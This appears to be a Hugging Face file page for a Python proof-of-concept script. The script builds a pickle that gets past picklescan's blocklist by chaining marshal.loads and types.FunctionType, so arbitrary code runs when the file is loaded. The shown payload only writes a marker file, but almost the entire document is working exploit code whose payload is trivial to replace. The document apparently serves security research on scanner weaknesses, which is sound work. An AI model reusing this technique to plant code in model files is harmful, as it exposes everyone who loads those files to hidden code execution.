romandaripper's picture
Upload generate_poc.py with huggingface_hub
f06207f verified
Raw
History Blame Contribute Delete
755 Bytes
#!/usr/bin/env python3
"""
PoC generator - picklescan blocklist evasion (marshal.loads + types.FunctionType).
Payload is DELIBERATELY HARMLESS: it writes a local file 'cyfra_marker' containing
'EXEC_OK'. It performs no network access, no deletion, and nothing outside the CWD.
"""
import marshal
PAYLOAD = "open('cyfra_marker','w').write('EXEC_OK')"
def build(path="chain.pkl"):
code = compile(PAYLOAD, "<poc>", "exec")
mc = marshal.dumps(code)
p = b"\x80\x02"
p += b"ctypes\nFunctionType\n"
p += b"(cmarshal\nloads\n(C" + len(mc).to_bytes(1, "little") + mc + b"tR"
p += b"}tR"
p += b")R."
open(path, "wb").write(p)
return len(p)
if __name__ == "__main__":
n = build()
print(f"wrote chain.pkl ({n} bytes)")